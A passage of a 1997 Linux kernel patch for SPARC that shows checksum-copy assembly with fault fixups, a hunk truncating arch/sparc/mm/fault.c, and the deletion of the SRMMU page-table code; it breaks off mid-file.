! advance dest ptr - b ccmerge ! finish it off, above - andcc %g1, 0x70, %o2 ! can use table? (clears carry btw) - -ccslow: cmp %g1, 0 - mov 0, %g5 - bleu 4f - andcc %o0, 1, %o5 - be,a 1f - srl %g1, 1, %g4 - sub %g1, 1, %g1 - EX(ldub [%o0], %g5, add %g1, 1,#) - add %o0, 1, %o0 - EX2(stb %g5, [%o1],#) - srl %g1, 1, %g4 - add %o1, 1, %o1 -1: cmp %g4, 0 - be,a 3f - andcc %g1, 1, %g0 - andcc %o0, 2, %g0 - be,a 1f - srl %g4, 1, %g4 - EX(lduh [%o0], %o4, add %g1, 0,#) - sub %g1, 2, %g1 - srl %o4, 8, %g2 - sub %g4, 1, %g4 - EX2(stb %g2, [%o1],#) - add %o4, %g5, %g5 - EX2(stb %o4, [%o1 + 1],#) - add %o0, 2, %o0 - srl %g4, 1, %g4 - add %o1, 2, %o1 -1: cmp %g4, 0 - be,a 2f - andcc %g1, 2, %g0 - EX3(ld [%o0], %o4,#) -5: srl %o4, 24, %g2 - srl %o4, 16, %g3 - EX2(stb %g2, [%o1],#) - srl %o4, 8, %g2 - EX2(stb %g3, [%o1 + 1],#) - add %o0, 4, %o0 - EX2(stb %g2, [%o1 + 2],#) - addcc %o4, %g5, %g5 - EX2(stb %o4, [%o1 + 3],#) - addx %g5, %g0, %g5 ! I am now to lazy to optimize this (question it - add %o1, 4, %o1 ! is worthy). Maybe some day - with the sll/srl - subcc %g4, 1, %g4 ! tricks - bne,a 5b - EX3(ld [%o0], %o4,#) - sll %g5, 16, %g2 - srl %g5, 16, %g5 - srl %g2, 16, %g2 - andcc %g1, 2, %g0 - add %g2, %g5, %g5 -2: be,a 3f - andcc %g1, 1, %g0 - EX(lduh [%o0], %o4, and %g1, 3,#) - andcc %g1, 1, %g0 - srl %o4, 8, %g2 - add %o0, 2, %o0 - EX2(stb %g2, [%o1],#) - add %g5, %o4, %g5 - EX2(stb %o4, [%o1 + 1],#) - add %o1, 2, %o1 -3: be,a 1f - sll %g5, 16, %o4 - EX(ldub [%o0], %g2, add %g0, 1,#) - sll %g2, 8, %o4 - EX2(stb %g2, [%o1],#) - add %g5, %o4, %g5 - sll %g5, 16, %o4 -1: addcc %o4, %g5, %g5 - srl %g5, 16, %o4 - addx %g0, %o4, %g5 - orcc %o5, %g0, %g0 - be 4f - srl %g5, 8, %o4 - and %g5, 0xff, %g2 - and %o4, 0xff, %o4 - sll %g2, 8, %g2 - or %g2, %o4, %g5 -4: addcc %g7, %g5, %g7 - retl - addx %g0, %g7, %o0 -C_LABEL(__csum_partial_copy_end): - - .section .fixup,#alloc,#execinstr - .align 4 -/* We do these strange calculations for the csum_*_from_user case only, ie. - * we only bother with faults on loads... */ - -/* o2 = ((g2%20)&3)*8 - * o3 = g1 - (g2/20)*32 - o2 */ -20: - cmp %g2, 20 - blu,a 1f - and %g2, 3, %o2 - sub %g1, 32, %g1 - b 20b - sub %g2, 20, %g2 -1: - sll %o2, 3, %o2 - b 31f - sub %g1, %o2, %o3 - -/* o2 = (!(g2 & 15) ? 0 : (((g2 & 15) + 1) & ~1)*8) - * o3 = g1 - (g2/16)*32 - o2 */ -21: - andcc %g2, 15, %o3 - srl %g2, 4, %g2 - be,a 1f - clr %o2 - add %o3, 1, %o3 - and %o3, 14, %o3 - sll %o3, 3, %o2 -1: - sll %g2, 5, %g2 - sub %g1, %g2, %o3 - b 31f - sub %o3, %o2, %o3 - -/* o0 += (g2/10)*16 - 0x70 - * 01 += (g2/10)*16 - 0x70 - * o2 = (g2 % 10) ? 8 : 0 - * o3 += 0x70 - (g2/10)*16 - o2 */ -22: - cmp %g2, 10 - blu,a 1f - sub %o0, 0x70, %o0 - add %o0, 16, %o0 - add %o1, 16, %o1 - sub %o3, 16, %o3 - b 22b - sub %g2, 10, %g2 -1: - sub %o1, 0x70, %o1 - add %o3, 0x70, %o3 - clr %o2 - tst %g2 - bne,a 1f - mov 8, %o2 -1: - b 31f - sub %o3, %o2, %o3 -96: - and %g1, 3, %g1 - sll %g4, 2, %g4 - add %g1, %g4, %o3 -30: -/* %o1 is dst - * %o3 is # bytes to zero out - * %o4 is faulting address - * %o5 is %pc where fault occured */ - clr %o2 -31: -/* %o0 is src - * %o1 is dst - * %o2 is # of bytes to copy from src to dst - * %o3 is # bytes to zero out - * %o4 is faulting address - * %o5 is %pc where fault occured */ - save %sp, -104, %sp - mov %i5, %o0 - mov %i7, %o1 - mov %i4, %o2 - call C_LABEL(lookup_fault) - mov %g7, %i4 - cmp %o0, 2 - bne 1f - add %g0, -EFAULT, %i5 - tst %i2 - be 2f - mov %i0, %o1 - mov %i1, %o0 -5: - call C_LABEL(__memcpy) - mov %i2, %o2 - tst %o0 - bne,a 2f - add %i3, %i2, %i3 - add %i1, %i2, %i1 -2: - mov %i1, %o0 - call C_LABEL(__bzero) - mov %i3, %o1 -1: - ld [%sp + 168], %o2 ! struct_ptr of parent - st %i5, [%o2] - ret - restore - - .section __ex_table,#alloc - .align 4 - .word 5b,2 Binary files linux-2.1.29/arch/sparc/lib/clear_user.S and linux/arch/sparc/lib/clear_user.S differ Binary files linux-2.1.29/arch/sparc/lib/copy_user.S and linux/arch/sparc/lib/copy_user.S differ diff -u --recursive --new-file linux-2.1.29/arch/sparc/mm/fault.c linux/arch/sparc/mm/fault.c --- linux-2.1.29/arch/sparc/mm/fault.c Sat May 10 18:17:45 1997 +++ linux/arch/sparc/mm/fault.c Mon Mar 10 18:34:18 1997 @@ -190,229 +190,4 @@ unsigned long address) { struct vm_area_struct *vma; - struct task_struct *tsk = current; - struct mm_struct *mm = tsk->mm; - unsigned int fixup; - unsigned long g2; - int from_user = !(regs->psr & PSR_PS); - lock_kernel(); - down(&mm->mmap_sem); - if(text_fault) - address = regs->pc; - - /* The kernel referencing a bad kernel pointer can lock up - * a sun4c machine completely, so we must attempt recovery. - */ - if(!from_user && address >= PAGE_OFFSET) - goto bad_area; - - vma = find_vma(mm, address); - if(!vma) - goto bad_area; - if(vma->vm_start <= address) - goto good_area; - if(!(vma->vm_flags & VM_GROWSDOWN)) - goto bad_area; - if(expand_stack(vma, address)) - goto bad_area; - /* - * Ok, we have a good vm_area for this memory access, so - * we can handle it.. - */ -good_area: - if(write) { - if(!(vma->vm_flags & VM_WRITE)) - goto bad_area; - } else { - /* Allow reads even for write-only mappings */ - if(!(vma->vm_flags & (VM_READ | VM_EXEC))) - goto bad_area; - } - handle_mm_fault(vma, address, write); - up(&mm->mmap_sem); - goto out; - /* - * Something tried to access memory that isn't in our memory map.. - * Fix it, but check if it's kernel or user first.. - */ -bad_area: - up(&mm->mmap_sem); - /* Is this in ex_table? */ - - g2 = regs->u_regs[UREG_G2]; - if (!from_user && (fixup = search_exception_table (regs->pc, &g2))) { - if (fixup > 10) { /* Values below are reserved for other things */ - extern const unsigned __memset_start[]; - extern const unsigned __memset_end[]; - extern const unsigned __csum_partial_copy_start[]; - extern const unsigned __csum_partial_copy_end[]; - - printk("Exception: PC<%08lx> faddr<%08lx>\n", regs->pc, address); - printk("EX_TABLE: insn<%08lx> fixup<%08x> g2<%08lx>\n", - regs->pc, fixup, g2); - if ((regs->pc >= (unsigned long)__memset_start && - regs->pc < (unsigned long)__memset_end) || - (regs->pc >= (unsigned long)__csum_partial_copy_start && - regs->pc < (unsigned long)__csum_partial_copy_end)) { - regs->u_regs[UREG_I4] = address; - regs->u_regs[UREG_I5] = regs->pc; - } - regs->u_regs[UREG_G2] = g2; - regs->pc = fixup; - regs->npc = regs->pc + 4; - goto out; - } - } - if(from_user) { -#if 0 - printk("Fault whee %s [%d]: segfaults at %08lx pc=%08lx\n", - tsk->comm, tsk->pid, address, regs->pc); -#endif - tsk->tss.sig_address = address; - tsk->tss.sig_desc = SUBSIG_NOMAPPING; - send_sig(SIGSEGV, tsk, 1); - goto out; - } - unhandled_fault (address, tsk, regs); -out: - unlock_kernel(); -} - -asmlinkage void do_sun4c_fault(struct pt_regs *regs, int text_fault, int write, - unsigned long address) -{ - extern void sun4c_update_mmu_cache(struct vm_area_struct *, - unsigned long,pte_t); - extern pgd_t *sun4c_pgd_offset(struct mm_struct *,unsigned long); - extern pte_t *sun4c_pte_offset(pmd_t *,unsigned long); - struct task_struct *tsk = current; - struct mm_struct *mm = tsk->mm; - pgd_t *pgdp; - pte_t *ptep; - - if (text_fault) - address = regs->pc; - - pgdp = sun4c_pgd_offset(mm, address); - ptep = sun4c_pte_offset((pmd_t *) pgdp, address); - - if (pgd_val(*pgdp)) { - if (write) { - if ((pte_val(*ptep) & (_SUN4C_PAGE_WRITE|_SUN4C_PAGE_PRESENT)) - == (_SUN4C_PAGE_WRITE|_SUN4C_PAGE_PRESENT)) { - - *ptep = __pte(pte_val(*ptep) | _SUN4C_PAGE_ACCESSED | - _SUN4C_PAGE_MODIFIED | - _SUN4C_PAGE_VALID | - _SUN4C_PAGE_DIRTY); - - if (sun4c_get_segmap(address) != invalid_segment) { - sun4c_put_pte(address, pte_val(*ptep)); - return; - } - } - } else { - if ((pte_val(*ptep) & (_SUN4C_PAGE_READ|_SUN4C_PAGE_PRESENT)) - == (_SUN4C_PAGE_READ|_SUN4C_PAGE_PRESENT)) { - - *ptep = __pte(pte_val(*ptep) | _SUN4C_PAGE_ACCESSED | - _SUN4C_PAGE_VALID); - - if (sun4c_get_segmap(address) != invalid_segment) { - sun4c_put_pte(address, pte_val(*ptep)); - return; - } - } - } - } - - /* This conditional is 'interesting'. */ - if (pgd_val(*pgdp) && !(write && !(pte_val(*ptep) & _SUN4C_PAGE_WRITE)) - && (pte_val(*ptep) & _SUN4C_PAGE_VALID)) - /* Note: It is safe to not grab the MMAP semaphore here because - * we know that update_mmu_cache() will not sleep for - * any reason (at least not in the current implementation) - * and therefore there is no danger of another thread getting - * on the CPU and doing a shrink_mmap() on this vma. - */ - sun4c_update_mmu_cache (find_vma(current->mm, address), address, - *ptep); - else - do_sparc_fault(regs, text_fault, write, address); -} - -/* This always deals with user addresses. */ -inline void force_user_fault(unsigned long address, int write) -{ - struct vm_area_struct *vma; - struct task_struct *tsk = current; - struct mm_struct *mm = tsk->mm; - -#if 0 - printk("wf\n", - tsk->pid, write, address); -#endif - down(&mm->mmap_sem); - vma = find_vma(mm, address); - if(!vma) - goto bad_area; - if(vma->vm_start <= address) - goto good_area; - if(!(vma->vm_flags & VM_GROWSDOWN)) - goto bad_area; - if(expand_stack(vma, address)) - goto bad_area; -good_area: - if(write) - if(!(vma->vm_flags & VM_WRITE)) - goto bad_area; - else - if(!(vma->vm_flags & (VM_READ | VM_EXEC))) - goto bad_area; - handle_mm_fault(vma, address, write); - up(&mm->mmap_sem); - return; -bad_area: - up(&mm->mmap_sem); -#if 0 - printk("Window whee %s [%d]: segfaults at %08lx\n", - tsk->comm, tsk->pid, address); -#endif - tsk->tss.sig_address = address; - tsk->tss.sig_desc = SUBSIG_NOMAPPING; - send_sig(SIGSEGV, tsk, 1); - return; -} - -void window_overflow_fault(void) -{ - unsigned long sp; - - lock_kernel(); - sp = current->tss.rwbuf_stkptrs[0]; - if(((sp + 0x38) & PAGE_MASK) != (sp & PAGE_MASK)) - force_user_fault(sp + 0x38, 1); - force_user_fault(sp, 1); - unlock_kernel(); -} - -void window_underflow_fault(unsigned long sp) -{ - lock_kernel(); - if(((sp + 0x38) & PAGE_MASK) != (sp & PAGE_MASK)) - force_user_fault(sp + 0x38, 0); - force_user_fault(sp, 0); - unlock_kernel(); -} - -void window_ret_fault(struct pt_regs *regs) -{ - unsigned long sp; - - lock_kernel(); - sp = regs->u_regs[UREG_FP]; - if(((sp + 0x38) & PAGE_MASK) != (sp & PAGE_MASK)) - force_user_fault(sp + 0x38, 0); - force_user_fault(sp, 0); - unlock_kernel(); -} + struct task_struct *tsk \ No newline at end of file Binary files linux-2.1.29/arch/sparc/mm/init.c and linux/arch/sparc/mm/init.c differ diff -u --recursive --new-file linux-2.1.29/arch/sparc/mm/srmmu.c linux/arch/sparc/mm/srmmu.c --- linux-2.1.29/arch/sparc/mm/srmmu.c Sat May 10 18:17:45 1997 +++ linux/arch/sparc/mm/srmmu.c Wed Dec 31 19:00:00 1969 @@ -1,3865 +0,0 @@ -/* $Id: srmmu.c,v 1.130 1997/02/10 23:33:49 davem Exp $ - * srmmu.c: SRMMU specific routines for memory management. - * - * Copyright (C) 1995 David S. Miller (davem@caip.rutgers.edu) - * Copyright (C) 1995 Peter A. Zaitcev (zaitcev@ithil.mcst.ru) - * Copyright (C) 1996 Eddie C. Dost (ecd@skynet.be) - */ - -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -/* Now the cpu specific definitions. */ -#include -#include -#include -#include -#include - -enum mbus_module srmmu_modtype; -unsigned int hwbug_bitmask; -int vac_cache_size; -int vac_line_size; -int vac_badbits; - -extern unsigned long sparc_iobase_vaddr; - -#ifdef __SMP__ -#define FLUSH_BEGIN(mm) -#define FLUSH_END -#else -#define FLUSH_BEGIN(mm) if((mm)->context != NO_CONTEXT) { -#define FLUSH_END } -#endif - -#define USE_CHUNK_ALLOC 1 - -static unsigned long (*mmu_getpage)(void); -static void (*ctxd_set)(ctxd_t *ctxp, pgd_t *pgdp); -static void (*pmd_set)(pmd_t *pmdp, pte_t *ptep); - -static void (*flush_page_for_dma)(unsigned long page); -static void (*flush_cache_page_to_uncache)(unsigned long page); -static void (*flush_tlb_page_for_cbit)(unsigned long page); -static void (*flush_chunk)(unsigned long chunk); -#ifdef __SMP__ -static void (*local_flush_page_for_dma)(unsigned long page); -static void (*local_flush_cache_page_to_uncache)(unsigned long page); -static void (*local_flush_tlb_page_for_cbit)(unsigned long page); -#endif - -static struct srmmu_stats { - int invall; - int invpg; - int invrnge; - int invmm; -} module_stats; - -static char *srmmu_name; - -ctxd_t *srmmu_ctx_table_phys; -ctxd_t *srmmu_context_table; - -static struct srmmu_trans { - unsigned long vbase; - unsigned long pbase; - unsigned long size; -} srmmu_map[SPARC_PHYS_BANKS]; - -static int viking_mxcc_present = 0; - -void srmmu_frob_mem_map(unsigned long start_mem) -{ - unsigned long bank_start, bank_end; - unsigned long addr; - int i; - - /* First, mark all pages as invalid. */ - for(addr = PAGE_OFFSET; MAP_NR(addr) < max_mapnr; addr += PAGE_SIZE) - mem_map[MAP_NR(addr)].flags |= (1<= KERNBASE) && - (bank_start < start_mem)) { - bank_start += PAGE_SIZE; - continue; - } - mem_map[MAP_NR(bank_start)].flags &= ~(1< vaddr)) { - return (vaddr - srmmu_map[i].vbase) + srmmu_map[i].pbase; - } - } - return 0xffffffffUL; -} - -static inline unsigned long srmmu_p2v(unsigned long paddr) -{ - int i; - - for(i=0; srmmu_map[i].size != 0; i++) { - if(srmmu_map[i].pbase <= paddr && - (srmmu_map[i].pbase + srmmu_map[i].size > paddr)) - return (paddr - srmmu_map[i].pbase) + srmmu_map[i].vbase; - } - return 0xffffffffUL; -} - -/* In general all page table modifications should use the V8 atomic - * swap instruction. This insures the mmu and the cpu are in sync - * with respect to ref/mod bits in the page tables. - */ -static inline unsigned long srmmu_swap(unsigned long *addr, unsigned long value) -{ - __asm__ __volatile__("swap [%2], %0" : "=&r" (value) : "0" (value), "r" (addr)); - return value; -} - -/* Functions really use this, not srmmu_swap directly. */ -#define srmmu_set_entry(ptr, newentry) srmmu_swap((unsigned long *) (ptr), (newentry)) - -/* The very generic SRMMU page table operations. */ -static unsigned int srmmu_pmd_align(unsigned int addr) { return SRMMU_PMD_ALIGN(addr); } -static unsigned int srmmu_pgdir_align(unsigned int addr) { return SRMMU_PGDIR_ALIGN(addr); } - -static unsigned long srmmu_vmalloc_start(void) -{ - return SRMMU_VMALLOC_START; -} - -static inline int srmmu_device_memory(unsigned long x) -{ - return ((x & 0xF0000000) != 0); -} - -static unsigned long srmmu_pgd_page(pgd_t pgd) -{ return srmmu_device_memory(pgd_val(pgd))?~0:srmmu_p2v((pgd_val(pgd) & SRMMU_PTD_PMASK) << 4); } - -static unsigned long srmmu_pmd_page(pmd_t pmd) -{ return srmmu_device_memory(pmd_val(pmd))?~0:srmmu_p2v((pmd_val(pmd) & SRMMU_PTD_PMASK) << 4); } - -static unsigned long srmmu_pte_page(pte_t pte) -{ return srmmu_device_memory(pte_val(pte))?~0:srmmu_p2v((pte_val(pte) & SRMMU_PTE_PMASK) << 4); } - -static int srmmu_pte_none(pte_t pte) -{ return !(pte_val(pte) & 0xFFFFFFF); } -static int srmmu_pte_present(pte_t pte) -{ return ((pte_val(pte) & SRMMU_ET_MASK) == SRMMU_ET_PTE); } - -static void srmmu_pte_clear(pte_t *ptep) { set_pte(ptep, __pte(0)); } - -static int srmmu_pmd_none(pmd_t pmd) -{ return !(pmd_val(pmd) & 0xFFFFFFF); } -static int srmmu_pmd_bad(pmd_t pmd) -{ return (pmd_val(pmd) & SRMMU_ET_MASK) != SRMMU_ET_PTD; } - -static int srmmu_pmd_present(pmd_t pmd) -{ return ((pmd_val(pmd) & SRMMU_ET_MASK) == SRMMU_ET_PTD); } - -static void srmmu_pmd_clear(pmd_t *pmdp) { set_pte((pte_t *)pmdp, __pte(0)); } - -static int srmmu_pgd_none(pgd_t pgd) -{ return !(pgd_val(pgd) & 0xFFFFFFF); } - -static int srmmu_pgd_bad(pgd_t pgd) -{ return (pgd_val(pgd) & SRMMU_ET_MASK) != SRMMU_ET_PTD; } - -static int srmmu_pgd_present(pgd_t pgd) -{ return ((pgd_val(pgd) & SRMMU_ET_MASK) == SRMMU_ET_PTD); } - -static void srmmu_pgd_clear(pgd_t * pgdp) { set_pte((pte_t *)pgdp, __pte(0)); } - -static int srmmu_pte_write(pte_t pte) { return pte_val(pte) & SRMMU_WRITE; } -static int srmmu_pte_dirty(pte_t pte) { return pte_val(pte) & SRMMU_DIRTY; } -static int srmmu_pte_young(pte_t pte) { return pte_val(pte) & SRMMU_REF; } - -static pte_t srmmu_pte_wrprotect(pte_t pte) { return __pte(pte_val(pte) & ~SRMMU_WRITE);} -static pte_t srmmu_pte_mkclean(pte_t pte) { return __pte(pte_val(pte) & ~SRMMU_DIRTY);} -static pte_t srmmu_pte_mkold(pte_t pte) { return __pte(pte_val(pte) & ~SRMMU_REF);} -static pte_t srmmu_pte_mkwrite(pte_t pte) { return __pte(pte_val(pte) | SRMMU_WRITE);} -static pte_t srmmu_pte_mkdirty(pte_t pte) { return __pte(pte_val(pte) | SRMMU_DIRTY);} -static pte_t srmmu_pte_mkyoung(pte_t pte) { return __pte(pte_val(pte) | SRMMU_REF);} - -/* - * Conversion functions: convert a page and protection to a page entry, - * and a page entry and page directory to the page they refer to. - */ -static pte_t srmmu_mk_pte(unsigned long page, pgprot_t pgprot) -{ return __pte(((srmmu_v2p(page)) >> 4) | pgprot_val(pgprot)); } - -static pte_t srmmu_mk_pte_phys(unsigned long page, pgprot_t pgprot) -{ return __pte(((page) >> 4) | pgprot_val(pgprot)); } - -static pte_t srmmu_mk_pte_io(unsigned long page, pgprot_t pgprot, int space) -{ - return __pte(((page) >> 4) | (space << 28) | pgprot_val(pgprot)); -} - -static void srmmu_ctxd_set(ctxd_t *ctxp, pgd_t *pgdp) -{ - set_pte((pte_t *)ctxp, (SRMMU_ET_PTD | (srmmu_v2p((unsigned long) pgdp) >> 4))); -} - -static void srmmu_pgd_set(pgd_t * pgdp, pmd_t * pmdp) -{ - set_pte((pte_t *)pgdp, (SRMMU_ET_PTD | (srmmu_v2p((unsigned long) pmdp) >> 4))); -} - -static void srmmu_pmd_set(pmd_t * pmdp, pte_t * ptep) -{ - set_pte((pte_t *)pmdp, (SRMMU_ET_PTD | (srmmu_v2p((unsigned long) ptep) >> 4))); -} - -static pte_t srmmu_pte_modify(pte_t pte, pgprot_t newprot) -{ - return __pte((pte_val(pte) & SRMMU_CHG_MASK) | pgprot_val(newprot)); -} - -/* to find an entry in a top-level page table... */ -static pgd_t *srmmu_pgd_offset(struct mm_struct * mm, unsigned long address) -{ - return mm->pgd + ((address >> SRMMU_PGDIR_SHIFT) & (SRMMU_PTRS_PER_PGD - 1)); -} - -/* Find an entry in the second-level page table.. */ -static pmd_t *srmmu_pmd_offset(pgd_t * dir, unsigned long address) -{ - return (pmd_t *) srmmu_pgd_page(*dir) + ((address >> SRMMU_PMD_SHIFT) & (SRMMU_PTRS_PER_PMD - 1)); -} - -/* Find an entry in the third-level page table.. */ -static pte_t *srmmu_pte_offset(pmd_t * dir, unsigned long address) -{ - return (pte_t *) srmmu_pmd_page(*dir) + ((address >> PAGE_SHIFT) & (SRMMU_PTRS_PER_PTE - 1)); -} - -/* This must update the context table entry for this process. */ -static void srmmu_update_rootmmu_dir(struct task_struct *tsk, pgd_t *pgdp) -{ - if(tsk->mm->context != NO_CONTEXT) { - flush_cache_mm(tsk->mm); - ctxd_set(&srmmu_context_table[tsk->mm->context], pgdp); - flush_tlb_mm(tsk->mm); - } -} - -static unsigned long srmmu_getpage(void) -{ - return get_free_page(GFP_KERNEL); -} - -static inline void srmmu_putpage(unsigned long page) -{ - free_page(page); -} - -#ifdef USE_CHUNK_ALLOC - -#define LC_HIGH_WATER 128 -#define BC_HIGH_WATER 32 - -static unsigned long *lcnks = 0; -static unsigned long *bcnks = 0; -static int lcwater = 0; -static int bcwater = 0; -static int chunk_pages = 0; -static int clct_pages = 0; - -#define RELAX_JIFFIES 16 - -static int lcjiffies; -static int bcjiffies; - -struct chunk { - struct chunk *next; - struct chunk *prev; - struct chunk *npage; - struct chunk *ppage; - int count; -}; - -static int garbage_calls = 0; - -#define OTHER_PAGE(p,q) (((unsigned long)(p) ^ (unsigned long)(q)) & PAGE_MASK) - -static int garbage_collect(unsigned long **cnks, int n, int cpp) -{ - struct chunk *root = (struct chunk *)*cnks; - struct chunk *p, *q, *curr, *next; - int water = n; - - next = root->next; - curr = root->prev = root->next = root->npage = root->ppage = root; - root->count = 1; - - garbage_calls++; - - while (--n) { - p = next; - next = next->next; - - if (OTHER_PAGE(p, curr)) { - - q = curr->npage; - while (q != curr) { - if (!OTHER_PAGE(p, q)) - break; - q = q->npage; - } - - if (q == curr) { - - (p->npage = curr->npage)->ppage = p; - curr->npage = p; - p->ppage = curr; - - p->next = p->prev = p; - p->count = 1; - - curr = p; - - continue; - } - curr = q; - } - - (p->next = curr->next)->prev = p; - curr->next = p; - p->prev = curr; - - if (++curr->count == cpp) { - - q = curr->npage; - if (curr == q) { - - srmmu_putpage((unsigned long)curr & PAGE_MASK); - water -= cpp; - - clct_pages++; - chunk_pages--; - - if (--n) { - p = next; - next = next->next; - - curr = root->prev = - root->next = root->npage = - root->ppage = root = p; - root->count = 1; - - continue; - } - return 0; - } - - if (curr == root) - root = q; - - curr->ppage->npage = q; - q->ppage = curr->ppage; - - srmmu_putpage((unsigned long)curr & PAGE_MASK); - water -= cpp; - - clct_pages++; - chunk_pages--; - - curr = q; - } - } - - p = root; - while (p->npage != root) { - p->prev->next = p->npage; - p = p->npage; - } - - *cnks = (unsigned long *)root; - return water; -} - -static unsigned long *get_small_chunk(void) -{ - unsigned long *rval; - unsigned long flags; - - save_and_cli(flags); - if(lcwater) { - lcwater--; - rval = lcnks; - lcnks = (unsigned long *) *rval; - } else { - rval = (unsigned long *) __get_free_page(GFP_KERNEL); - - if(!rval) { - restore_flags(flags); - return 0; - } - chunk_pages++; - - lcnks = (rval + 64); - - /* Cache stomping, I know... */ - *(rval + 64) = (unsigned long) (rval + 128); - *(rval + 128) = (unsigned long) (rval + 192); - *(rval + 192) = (unsigned long) (rval + 256); - *(rval + 256) = (unsigned long) (rval + 320); - *(rval + 320) = (unsigned long) (rval + 384); - *(rval + 384) = (unsigned long) (rval + 448); - *(rval + 448) = (unsigned long) (rval + 512); - *(rval + 512) = (unsigned long) (rval + 576); - *(rval + 576) = (unsigned long) (rval + 640); - *(rval + 640) = (unsigned long) (rval + 704); - *(rval + 704) = (unsigned long) (rval + 768); - *(rval + 768) = (unsigned long) (rval + 832); - *(rval + 832) = (unsigned long) (rval + 896); - *(rval + 896) = (unsigned long) (rval + 960); - *(rval + 960) = 0; - lcwater = 15; - } - lcjiffies = jiffies; - restore_flags(flags); - memset(rval, 0, 256); - flush_chunk((unsigned long)rval); - return rval; -} - -static inline void free_small_chunk(unsigned long *it) -{ - unsigned long flags; - - save_and_cli(flags); - *it = (unsigned long) lcnks; - lcnks = it; - lcwater++; - - if ((lcwater > LC_HIGH_WATER) && - (jiffies > lcjiffies + RELAX_JIFFIES)) - lcwater = garbage_collect(&lcnks, lcwater, 16); - - restore_flags(flags); -} - -static unsigned long *get_big_chunk(void) -{ - unsigned long *rval; - unsigned long flags; - - save_and_cli(flags); - if(bcwater) { - bcwater--; - rval = bcnks; - bcnks = (unsigned long *) *rval; - } else { - rval = (unsigned long *) __get_free_page(GFP_KERNEL); - - if(!rval) { - restore_flags(flags); - return 0; - } - chunk_pages++; - - bcnks = (rval + 256); - - /* Cache stomping, I know... */ - *(rval + 256) = (unsigned long) (rval + 512); - *(rval + 512) = (unsigned long) (rval + 768); - *(rval + 768) = 0; - bcwater = 3; - } - bcjiffies = jiffies; - restore_flags(flags); - memset(rval, 0, 1024); - flush_chunk((unsigned long)rval); - return rval; -} - -static inline void free_big_chunk(unsigned long *it) -{ - unsigned long flags; - - save_and_cli(flags); - *it = (unsigned long) bcnks; - bcnks = it; - bcwater++; - - if ((bcwater > BC_HIGH_WATER) && - (jiffies > bcjiffies + RELAX_JIFFIES)) - bcwater = garbage_collect(&bcnks, bcwater, 4); - - restore_flags(flags); -} - -#define NEW_PGD() (pgd_t *) get_big_chunk() -#define NEW_PMD() (pmd_t *) get_small_chunk() -#define NEW_PTE() (pte_t *) get_small_chunk() -#define FREE_PGD(chunk) free_big_chunk((unsigned long *)(chunk)) -#define FREE_PMD(chunk) free_small_chunk((unsigned long *)(chunk)) -#define FREE_PTE(chunk) free_small_chunk((unsigned long *)(chunk)) - -#else - -/* The easy versions. */ -#define NEW_PGD() (pgd_t *) mmu_getpage() -#define NEW_PMD() (pmd_t *) mmu_getpage() -#define NEW_PTE() (pte_t *) mmu_getpage() -#define FREE_PGD(chunk) srmmu_putpage((unsigned long)(chunk)) -#define FREE_PMD(chunk) srmmu_putpage((unsigned long)(chunk)) -#define FREE_PTE(chunk) srmmu_putpage((unsigned long)(chunk)) - -#endif - -/* - * Allocate and free page tables. The xxx_kernel() versions are - * used to allocate a kernel page table - this turns on ASN bits - * if any, and marks the page tables reserved. - */ -static void srmmu_pte_free_kernel(pte_t *pte) -{ - FREE_PTE(pte); -} - -static pte_t *srmmu_pte_alloc_kernel(pmd_t *pmd, unsigned long address) -{ - address = (address >> PAGE_SHIFT) & (SRMMU_PTRS_PER_PTE - 1); - if(srmmu_pmd_none(*pmd)) { - pte_t *page = NEW_PTE(); - if(srmmu_pmd_none(*pmd)) { - if(page) { - pmd_set(pmd, page); - return page + address; - } - pmd_set(pmd, BAD_PAGETABLE); - return NULL; - } - FREE_PTE(page); - } - if(srmmu_pmd_bad(*pmd)) { - printk("Bad pmd in pte_alloc: %08lx\n", pmd_val(*pmd)); - pmd_set(pmd, BAD_PAGETABLE); - return NULL; - } - return (pte_t *) srmmu_pmd_page(*pmd) + address; -} - -static void srmmu_pmd_free_kernel(pmd_t *pmd) -{ - FREE_PMD(pmd); -} - -static pmd_t *srmmu_pmd_alloc_kernel(pgd_t *pgd, unsigned long address) -{ - address = (address >> SRMMU_PMD_SHIFT) & (SRMMU_PTRS_PER_PMD - 1); - if(srmmu_pgd_none(*pgd)) { - pmd_t *page; - page = NEW_PMD(); - if(srmmu_pgd_none(*pgd)) { - if(page) { - pgd_set(pgd, page); - return page + address; - } - pgd_set(pgd, (pmd_t *) BAD_PAGETABLE); - return NULL; - } - FREE_PMD(page); - } - if(srmmu_pgd_bad(*pgd)) { - printk("Bad pgd in pmd_alloc: %08lx\n", pgd_val(*pgd)); - pgd_set(pgd, (pmd_t *) BAD_PAGETABLE); - return NULL; - } - return (pmd_t *) pgd_page(*pgd) + address; -} - -static void srmmu_pte_free(pte_t *pte) -{ - FREE_PTE(pte); -} - -static pte_t *srmmu_pte_alloc(pmd_t * pmd, unsigned long address) -{ - address = (address >> PAGE_SHIFT) & (SRMMU_PTRS_PER_PTE - 1); - if(srmmu_pmd_none(*pmd)) { - pte_t *page = NEW_PTE(); - if(srmmu_pmd_none(*pmd)) { - if(page) { - pmd_set(pmd, page); - return page + address; - } - pmd_set(pmd, BAD_PAGETABLE); - return NULL; - } - FREE_PTE(page); - } - if(srmmu_pmd_bad(*pmd)) { - printk("Bad pmd in pte_alloc: %08lx\n", pmd_val(*pmd)); - pmd_set(pmd, BAD_PAGETABLE); - return NULL; - } - return ((pte_t *) srmmu_pmd_page(*pmd)) + address; -} - -/* Real three-level page tables on SRMMU. */ -static void srmmu_pmd_free(pmd_t * pmd) -{ - FREE_PMD(pmd); -} - -static pmd_t *srmmu_pmd_alloc(pgd_t * pgd, unsigned long address) -{ - address = (address >> SRMMU_PMD_SHIFT) & (SRMMU_PTRS_PER_PMD - 1); - if(srmmu_pgd_none(*pgd)) { - pmd_t *page = NEW_PMD(); - if(srmmu_pgd_none(*pgd)) { - if(page) { - pgd_set(pgd, page); - return page + address; - } - pgd_set(pgd, (pmd_t *) BAD_PAGETABLE); - return NULL; - } - FREE_PMD(page); - } - if(srmmu_pgd_bad(*pgd)) { - printk("Bad pgd in pmd_alloc: %08lx\n", pgd_val(*pgd)); - pgd_set(pgd, (pmd_t *) BAD_PAGETABLE); - return NULL; - } - return (pmd_t *) srmmu_pgd_page(*pgd) + address; -} - -static void srmmu_pgd_free(pgd_t *pgd) -{ - FREE_PGD(pgd); -} - -static pgd_t *srmmu_pgd_alloc(void) -{ - return NEW_PGD(); -} - -static void 